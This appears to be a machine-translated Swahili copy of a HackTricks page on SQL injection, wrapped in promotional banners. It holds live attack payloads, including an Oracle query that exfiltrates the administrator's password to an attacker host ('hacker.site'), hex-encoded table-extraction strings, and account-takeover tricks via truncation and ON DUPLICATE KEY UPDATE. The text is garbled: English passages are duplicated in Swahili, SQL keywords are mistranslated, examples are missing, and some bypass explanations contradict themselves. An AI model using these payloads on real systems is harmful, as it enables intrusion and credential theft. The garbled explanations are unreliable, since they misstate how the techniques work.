<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
[**RootedCON**](https://www.rootedcon.com/) ni tukio muhimu zaidi la usalama wa mtandao nchini **Spain** na moja ya muhimu zaidi barani **Ulaya**. Kwa **kukuza maarifa ya kiufundi**, mkutano huu ni sehemu ya kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila fani.
**SQL injection** ni kasoro ya usalama inayowezesha wadukuzi kuingilia **kutafuta kwenye database** ya programu. Kasoro hii inaweza kuwawezesha wadukuzi **kuona**, **kubadilisha**, au **kufuta** data ambayo hawapaswi kuifikia, ikiwa ni pamoja na habari za watumiaji wengine au data yoyote ambayo programu inaweza kufikia. Hatua kama hizo zinaweza kusababisha mabadiliko ya kudumu kwa utendaji au maudhui ya programu au hata kudhoofisha seva au kukataa huduma.
Wakati tovuti inaonekana kuwa **inavuja kwa SQL injection (SQLi)** kutokana na majibu ya kawaida ya seva kwa pembejeo zinazohusiana na SQLi, **hatua ya kwanza** ni kuelewa jinsi ya **kuingiza data kwenye utafutaji bila kuvuruga**. Hii inahitaji kutambua njia ya **kutoroka kutoka kwenye muktadha wa sasa** kwa ufanisi.
Kisha, unahitaji kujua jinsi ya **kusahihisha swali ili kusiwe na makosa**. Ili kusahihisha swali, unaweza **kuingiza** data ili **swali la awali lipokee data mpya**, au unaweza tu **kuingiza** data yako na **kuongeza alama ya maoni mwishoni**.
_Tafadhali kumbuka kuwa ikiwa unaweza kuona ujumbe wa makosa au unaweza kugundua tofauti wakati swali linapotumika na wakati halifanyi hivyo, hatua hii itakuwa rahisi zaidi._
Njia thabiti ya kuthibitisha uwepo wa udhaifu wa SQL injection ni kutekeleza **operesheni za mantiki** na kuchunguza matokeo yanayotarajiwa. Kwa mfano, ikiwa kipengele cha GET kama `?username=Peter` kinatoa maudhui yanayofanana wakati kinabadilishwa kuwa `?username=Peter' au '1'='1`, hii inaonyesha uwepo wa udhaifu wa SQL injection.
Vivyo hivyo, matumizi ya **operesheni za kihisabati** ni njia yenye ufanisi ya kuthibitisha. Kwa mfano, ikiwa kupata ufikiaji wa `?id=1` na `?id=2-1` kunatoa matokeo sawa, hii inaonyesha uwepo wa SQL injection.
Katika baadhi ya kesi huenda usigundui mabadiliko yoyote kwenye ukurasa unaojaribu. Kwa hiyo, njia nzuri ya **kugundua SQL injections za kipofu** ni kufanya DB ifanye vitendo na kuathiri muda ambao ukurasa unahitaji kupakia.\
Kwa hiyo, tutakusanya kwenye swali la SQL operesheni ambayo itachukua muda mrefu kukamilika:
Katika baadhi ya kesi, **kazi za kulala hazitaruhusiwa**. Kwa hivyo, badala ya kutumia kazi hizo, unaweza kufanya **shughuli ngumu** ambazo zitachukua sekunde kadhaa. _Mifano ya mbinu hizi itaelezwa kwa kila teknolojia tofauti (ikiwa ipo)_.
Njia bora ya kutambua back-end ni kujaribu kutekeleza kazi za back-end tofauti. Unaweza kutumia kazi za _**kulala**_ kutoka sehemu iliyotangulia au hizi (meza kutoka [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
Ikiwa unaweza kuona matokeo ya swali hili ndio njia bora ya kuitumia.\
Kwanza kabisa, tunahitaji kujua **idadi** ya **nguzo** ambazo **ombi la awali** linarudisha. Hii ni kwa sababu **maswali yote mawili lazima yarudishe idadi sawa ya nguzo**.\
Ili kujua idadi ya nguzo katika swali, ongeza taratibu idadi inayotumiwa katika vifungu vya **ORDER BY** au **GROUP BY** mpaka upokee jibu la uwongo. Ingawa kuna tofauti katika utendaji wa **GROUP BY** na **ORDER BY** ndani ya SQL, zote zinaweza kutumiwa kwa njia sawa ya kuhakikisha idadi ya nguzo ya swali.
Wakati matokeo ya swali yanaweza kuonekana, lakini injection ya aina ya union inaonekana haiwezekani, inaashiria uwepo wa **injection ya aina ya union iliyofichwa**. Hali hii mara nyingi inasababisha hali ya injection isiyoonekana. Ili kubadilisha injection isiyoonekana kuwa ya aina ya union, swali la utekelezaji kwenye backend linahitaji kugunduliwa.
Hii inaweza kufanikiwa kwa kutumia mbinu za injection isiyoonekana pamoja na meza za chaguo-msingi zinazohusiana na mfumo wako wa Usimamizi wa Database (DBMS) wa lengo lako. Ili kuelewa meza hizi za chaguo-msingi, ni vyema kushauriana na nyaraka za DBMS ya lengo lako.
Baada ya swali kuchukuliwa, ni muhimu kubinafsisha mzigo wako ili kufunga salama swali asili. Kisha, swali la union linajumuishwa kwenye mzigo wako, kurahisisha utumiaji wa injection ya aina ya union iliyopatikana hivi karibuni.
Kwa ufahamu kamili zaidi, tazama makala kamili inayopatikana kwenye [Kuponya Injection Isiyoonekana](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
Ikiwa kwa sababu fulani **hauwezi** kuona **matokeo** ya **swali** lakini unaweza **kuona ujumbe wa makosa**, unaweza kutumia ujumbe huu wa makosa kuondoa data kutoka kwenye database.\
Kufuata mchakato kama ule wa utumiaji wa Union Based, unaweza kufanikiwa kudump database.
Katika kesi hii huwezi kuona matokeo ya swali au makosa, lakini unaweza **kutofautisha** wakati swali linarudisha jibu la **kweli** au **uwongo** kwa sababu kuna maudhui tofauti kwenye ukurasa.\
Katika kesi hii, unaweza kutumia tabia hiyo kudukua database kwa kudondosha herufi kwa herufi:
Hii ni **kisa kama kile cha awali** lakini badala ya kutofautisha kati ya majibu ya kweli/siyo kweli kutoka kwa swali, unaweza kutofautisha kati ya **kosa** katika swali la SQL au la (labda kwa sababu seva ya HTTP inaanguka). Kwa hivyo, katika kisa hiki unaweza kulazimisha kosa la SQL kila wakati unapoweza kuhisi kwa usahihi herufi:
Katika kesi hii **hakuna** njia ya **kutofautisha** majibu ya swali kulingana na muktadha wa ukurasa. Lakini, unaweza kufanya ukurasa **uchukue muda mrefu kujiload** ikiwa herufi iliyokisiwa ni sahihi. Tumeshakwisha ona mbinu hii ikitumika hapo awali ili [kuthibitisha uwepo wa SQLi vuln](./#kuthibitisha-kwa-kutumia-timing).
Unaweza kutumia maswali yaliyopangwa ili **kutekeleza maswali mengi mfululizo**. Ni muhimu kutambua kuwa wakati maswali yanayofuata yanatekelezwa, **matokeo** hayarudishwi kwa programu. Hivyo, mbinu hii inatumika hasa kwa **makosa ya kipofu** ambapo unaweza kutumia swali la pili kusababisha utafutaji wa DNS, kosa la masharti, au kuchelewesha wakati.
Ikiwa **njia nyingine yoyote** ya udukuzi **haifanyi kazi**, unaweza kujaribu kufanya **database itoe** habari kwa mwenyeji **wa nje** unaodhibitiwa na wewe. Kwa mfano, kupitia maswali ya DNS:
XXE (External Entity Injection) ni kosa la usalama ambapo mshambuliaji anaweza kuingiza entiti za nje katika XML iliyoingizwa. Kwa kutumia XXE, mshambuliaji anaweza kutekeleza mashambulizi ya kutolewa kwa data nje ya wigo.
Mara nyingi, mbinu hii hutumiwa kutekeleza mashambulizi ya kutolewa kwa data nje ya wigo kwa kutuma ombi la HTTP kwa mshambuliaji. Ombi hili linaweza kuelekezwa kwa seva ya mshambuliaji, ambapo data inaweza kuchambuliwa na kuhifadhiwa.
Kwa kufanya hivyo, mshambuliaji anaweza kuchukua udhibiti wa data iliyovuja na kuitumia kwa madhumuni yao mabaya. Hii inaweza kujumuisha kufichua habari nyeti, kama vile nywila au data ya kibinafsi.
Kwa kuzingatia hili, ni muhimu kwa watengenezaji na wataalamu wa usalama kuchukua hatua za kuzuia mashambulizi ya XXE kwa kutekeleza njia sahihi za kuzuia na kudhibiti.
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
Au utapata **mambo mengi kuhusu: MySQL, PostgreSQL, Oracle, MSSQL, SQLite na HQL katika** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
[**RootedCON**](https://www.rootedcon.com/) ni tukio muhimu zaidi la usalama wa mtandao nchini **Spain** na moja ya muhimu zaidi barani **Ulaya**. Kwa **malengo ya kukuza maarifa ya kiufundi**, mkutano huu ni sehemu ya kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila fani.
Hii swali inaonyesha udhaifu wakati MD5 inatumika na kweli kwa ajili ya matokeo ya moja kwa moja katika uhakiki, kufanya mfumo kuwa hatarini kwa SQL injection. Wadukuzi wanaweza kutumia hili kwa kuunda matokeo ya kuingiza ambayo, wakati yanapohashwa, yanazalisha sehemu za amri za SQL zisizotarajiwa, zinazosababisha ufikiaji usiohalali.
In some cases, a web application may use a hash function to authenticate users. This involves hashing the user's input and comparing it to the stored hash value. However, if the application is vulnerable to SQL injection, it may be possible to bypass this authentication mechanism.
Katika baadhi ya matukio, programu ya wavuti inaweza kutumia kazi ya hash ili kuthibitisha watumiaji. Hii inahusisha kuhesabu hash ya kuingiza ya mtumiaji na kulinganisha na thamani ya hash iliyohifadhiwa. Hata hivyo, ikiwa programu ina kasoro ya SQL injection, inaweza kuwezekana kudukiza mfumo huu wa uthibitisho.
By injecting a specially crafted SQL query, an attacker can manipulate the authentication process and bypass the hash check. This can be achieved by injecting a query that always evaluates to true, such as `1=1` or `1 OR 1=1`.
Kwa kudukiza swali la SQL lililoundwa kwa umakini, mshambuliaji anaweza kubadilisha mchakato wa uthibitisho na kudukiza ukaguzi wa hash. Hii inaweza kufanikiwa kwa kuingiza swali ambalo daima linahesabiwa kuwa kweli, kama vile `1=1` au `1 AU 1=1`.
Once the attacker successfully bypasses the hash check, they can gain unauthorized access to the application or perform other malicious actions.
Marudio mshambuliaji anapofanikiwa kudukiza ukaguzi wa hash, wanaweza kupata ufikiaji usiohalali kwa programu au kutekeleza vitendo vingine vya uovu.
Polyglot injection ni mbinu ya kuingiza maagizo ya SQL ambayo inaweza kutekelezwa katika muktadha tofauti. Inaruhusu mtu kutekeleza mashambulizi ya SQL Injection kwenye aina tofauti za mifumo ya usimamizi wa database (DBMS) kwa kutumia maagizo sawa ya SQL.
Mbinu hii inafanya kazi kwa kuchanganya syntax ya SQL ambayo inaeleweka na DBMS tofauti. Kwa njia hii, unaweza kutekeleza mashambulizi ya SQL Injection kwenye mifumo tofauti ya DBMS kwa kutumia maagizo sawa ya SQL.
Polyglot injection inaweza kuwa na faida nyingi, kama vile:
Kwa kuzingatia hili, polyglot injection ni mbinu muhimu katika uwanja wa uingizaji wa SQL na inaweza kutumiwa kwa ufanisi katika kutekeleza mashambulizi ya SQL Injection kwenye mifumo tofauti ya DBMS.
* Unda mtumiaji anayejulikana kama: **AdMIn** (herufi kubwa na ndogo)
* Unda mtumiaji anayejulikana kama: **admin=**
* **Shambulio la Kukata SQL** (wakati kuna aina fulani ya **kikomo cha urefu** katika jina la mtumiaji au barua pepe) --> Unda mtumiaji mwenye jina: **admin \[nafasi nyingi] a**
Ikiwa hifadhidata ina udhaifu na idadi kubwa ya herufi kwa jina la mtumiaji ni, kwa mfano, 30 na unataka kujifanya kuwa mtumiaji **admin**, jaribu kuunda jina la mtumiaji linaloitwa: "_admin \[nafasi 30] a_" na nenosiri lolote.
Hifadhidata ita **angalia** ikiwa **jina la mtumiaji** lililoingizwa **lipo** ndani ya hifadhidata. Ikiwa **halipo**, ita **kata****jina la mtumiaji** hadi **idadi iliyoruhusiwa ya herufi** (katika kesi hii kuwa: "_admin \[nafasi 25]_") na kisha ita **ondoa moja kwa moja nafasi zote mwishoni kwa kusasisha** ndani ya hifadhidata mtumiaji "**admin**" na **nenosiri jipya** (inaweza kuonekana kosa fulani lakini hii haimaanishi kuwa haikufanya kazi).
_Nota: Shambulio hili halitafanya kazi tena kama ilivyoelezwa hapo juu katika ufungaji wa MySQL wa hivi karibuni. Ingawa kulinganisha bado hauzingatii nafasi za mwisho kwa chaguomsingi, jaribio la kuingiza herufi ndefu kuliko urefu wa uga litasababisha kosa, na uingizaji utashindwa. Kwa habari zaidi kuhusu hili angalia: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
Kifungu cha `ON DUPLICATE KEY UPDATE` katika MySQL hutumiwa kuweka hatua ambazo database itachukua wakati jaribio linapofanywa la kuweka safu ambayo itasababisha kuwepo kwa thamani sawa katika UNIQUE index au PRIMARY KEY. Mfano ufuatao unaonyesha jinsi kipengele hiki kinaweza kutumiwa kubadilisha nenosiri la akaunti ya msimamizi:
Kuingiza payload inaweza kuundwa kama ifuatavyo, ambapo safu mbili zinajaribu kuwekwa katika meza ya `users`. Safu ya kwanza ni mtego, na safu ya pili inalenga barua pepe ya msimamizi ili kusasisha nenosiri:
- Swali linajaribu kuweka safu mbili: moja kwa `generic_user@example.com` na nyingine kwa `admin_generic@example.com`.
- Ikiwa safu ya `admin_generic@example.com` tayari ipo, kifungu cha `ON DUPLICATE KEY UPDATE` kinazindua, kikiagiza MySQL kusasisha uga wa `password` wa safu iliyopo na "bcrypt_hash_of_newpassword".
- Kwa hiyo, uthibitisho unaweza kujaribiwa kwa kutumia `admin_generic@example.com` na nenosiri linalolingana na hash ya bcrypt ("bcrypt_hash_of_newpassword" inawakilisha hash ya bcrypt ya nenosiri jipya, ambayo inapaswa kubadilishwa na hash halisi ya nenosiri linalotakiwa).
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
[**RootedCON**](https://www.rootedcon.com/) ni tukio muhimu zaidi la usalama wa mtandao nchini **Spain** na moja ya muhimu zaidi barani **Ulaya**. Kwa **kukuza maarifa ya kiufundi**, mkutano huu ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila fani.
Routed SQL injection ni hali ambapo swali linaloweza kuingizwa sio linalotoa matokeo lakini matokeo ya swali linaloweza kuingizwa yanakwenda kwenye swali linalotoa matokeo. ([Kutoka Kwenye Karatasi](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
Kuna njia nyingine ya kuepuka kizuizi cha nafasi nyeupe wakati wa kufanya mashambulizi ya SQL Injection. Njia hii inahusisha kutumia maoni katika maombi ya SQL ili kuficha sehemu ya msimbo ambayo inaweza kusababisha kizuizi.
Kwa kawaida, maoni katika SQL huanza na ishara ya "/*" na kumalizika na ishara ya "*/". Kwa kutumia maoni, tunaweza kuficha sehemu ya msimbo ambayo inaweza kusababisha kizuizi.
Kwa mfano, ikiwa tunaomba data kutoka kwa meza ya watumiaji na tunataka kuepuka kizuizi cha nafasi nyeupe, tunaweza kutumia maoni kuficha sehemu ya msimbo ambayo inahusika na nafasi nyeupe. Hapa kuna mfano wa jinsi ya kufanya hivyo:
```sql
SELECT/*+SPACE(0)*/username,password FROM users WHERE username='admin' AND password='password'
Katika mfano huu, tumetumia maoni `/*+SPACE(0)*/` kabla ya jina la safu ya kwanza (`username`). Hii inaficha nafasi nyeupe ambayo ingesababisha kizuizi.
Kwa kutumia njia hii, tunaweza kuepuka kizuizi cha nafasi nyeupe na kufanya mashambulizi ya SQL Injection bila kugunduliwa. Ni muhimu kutambua kuwa njia hii inaweza kutofanya kazi kwenye maombi yote, kulingana na jinsi maombi yanavyosindika maoni.
Some web applications implement filters to block SQL injection attacks by checking for specific keywords or characters, such as whitespace. However, it is possible to bypass these filters by using alternative syntax or encoding techniques.
One common technique is to use parenthesis to separate the keywords or characters that are being filtered. By enclosing the filtered characters within parentheses, the filter can be bypassed.
### Example:
Consider the following SQL query, which is vulnerable to SQL injection:
In this example, the whitespace between `username='admin'` and `AND` is filtered. By enclosing the filtered whitespace within parentheses, the injection is no longer blocked.
### Prevention:
To prevent this type of SQL injection, it is important to implement a robust input validation and sanitization mechanism. This can include:
## Blacklist using keywords case insensitive - bypass using an equivalent operator
### Description:
Some web applications implement a blacklist to prevent certain keywords from being used in user input. This blacklist is usually implemented in a case-sensitive manner, meaning that it only blocks exact matches of the blacklisted keywords. However, it is possible to bypass this blacklist by using an equivalent operator that achieves the same result.
### Exploitation:
To bypass a case-insensitive blacklist, you can use an equivalent operator that achieves the same result. For example, if the blacklist blocks the keyword "admin", you can try using the operator "like" instead of the equal sign ("="). This operator allows you to perform a case-insensitive comparison.
Here is an example of how to bypass a case-insensitive blacklist using the "like" operator:
In this example, the "like" operator is used to search for usernames that contain the keyword "admin", regardless of the case. This query will bypass the blacklist and retrieve the desired results.
To prevent bypassing a case-insensitive blacklist using an equivalent operator, it is important to implement a proper input validation mechanism. This mechanism should include both case-sensitive and case-insensitive checks to ensure that blacklisted keywords cannot be used in any form.
Additionally, it is recommended to use a whitelist approach instead of a blacklist. By defining a list of allowed characters or patterns, you can ensure that only valid input is accepted, rather than trying to block specific keywords.
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Unaweza kupata maelezo zaidi kuhusu hila hii katika [blogu ya gosecure](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
Kimsingi, unaweza kutumia notation ya kisayansi kwa njia isiyotarajiwa ili kuepuka WAF:
Kwanza kabisa, tambua kwamba ikiwa **swali asili na meza ambapo unataka kutoa bendera zina idadi sawa ya safu**, unaweza tu kufanya: `0 UNION SELECT * FROM flag`
Inawezekana **kupata safu ya tatu ya meza bila kutumia jina lake** kwa kutumia swali kama ifuatavyo: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, kwa hivyo katika sqlinjection hii itaonekana kama:
Mbinu hii ilichukuliwa kutoka [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
[**RootedCON**](https://www.rootedcon.com/) ni tukio muhimu zaidi la usalama wa mtandao nchini **Uhispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa **kukuza maarifa ya kiufundi**, mkutano huu ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila fani.
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.